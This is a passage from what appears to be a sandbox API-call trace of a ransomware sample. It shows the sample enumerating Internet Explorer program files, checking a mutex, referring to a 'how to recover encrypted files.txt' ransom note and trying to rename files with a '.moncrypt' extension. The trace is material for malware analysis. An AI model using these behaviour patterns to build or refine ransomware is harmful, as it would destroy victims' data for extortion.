lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\hmmapi.dll", cchWideChar=45, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\hmmapi.dll", lpUsedDefaultChar=0x0) returned 45 [0058.880] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlli.dll", lpUsedDefaultChar=0x0) returned 4 [0058.880] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0058.880] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.880] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.880] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.880] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.881] GlobalUnlock (hMem=0x44000c) returned 0 [0058.881] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.881] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.881] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.881] GlobalUnlock (hMem=0x44000c) returned 0 [0058.881] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.881] GlobalUnlock (hMem=0x440004) returned 0 [0058.881] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.881] CharLowerBuffW (in: lpsz="ie8props.propdesc", cchLength=0x11 | out: lpsz="ie8props.propdesc") returned 0x11 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.881] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\ie8props.propdesc", cchWideChar=52, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\ie8props.propdesce", lpUsedDefaultChar=0x0) returned 52 [0058.882] CharLowerBuffW (in: lpsz=".propdesc", cchLength=0x9 | out: lpsz=".propdesc") returned 0x9 [0058.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".propdesc", cchWideChar=9, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".propdescropdesce", lpUsedDefaultChar=0x0) returned 9 [0058.882] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\я" (normalized: "c:\\program files\\internet explorer\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0058.882] WriteFile (in: hFile=0x17c, lpBuffer=0x1e61c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f3f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61c88*, lpNumberOfBytesWritten=0x18f3f0*=0x1, lpOverlapped=0x0) returned 1 [0058.883] CloseHandle (hObject=0x17c) returned 1 [0058.883] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\я" (normalized: "c:\\program files\\internet explorer\\я")) returned 1 [0058.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 0x54e1c0 [0058.884] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0058.884] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0058.885] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0058.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc", dwFileAttributes=0x20) returned 0 [0058.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc.moncrypt" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.moncrypt")) returned 0 [0058.895] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.895] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.895] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.895] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.895] GlobalUnlock (hMem=0x440004) returned 0 [0058.895] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.895] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.895] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.895] GlobalUnlock (hMem=0x440004) returned 0 [0058.895] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.895] GlobalUnlock (hMem=0x44000c) returned 0 [0058.895] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.895] CharLowerBuffW (in: lpsz="iecompat.dll", cchLength=0xc | out: lpsz="iecompat.dll") returned 0xc [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.896] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllpat.dll", lpUsedDefaultChar=0x0) returned 4 [0058.896] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.896] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.896] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.896] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.896] GlobalUnlock (hMem=0x44000c) returned 0 [0058.896] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.896] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.896] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.896] GlobalUnlock (hMem=0x44000c) returned 0 [0058.896] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.896] GlobalUnlock (hMem=0x440004) returned 0 [0058.896] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.896] CharLowerBuffW (in: lpsz="iedvtool.dll", cchLength=0xc | out: lpsz="iedvtool.dll") returned 0xc [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.897] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllool.dll", lpUsedDefaultChar=0x0) returned 4 [0058.897] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0058.897] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.897] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.897] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.897] GlobalUnlock (hMem=0x440004) returned 0 [0058.897] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.897] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.897] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.897] GlobalUnlock (hMem=0x440004) returned 0 [0058.897] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.897] GlobalUnlock (hMem=0x44000c) returned 0 [0058.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.897] CharLowerBuffW (in: lpsz="ieinstal.exe", cchLength=0xc | out: lpsz="ieinstal.exe") returned 0xc [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0058.897] 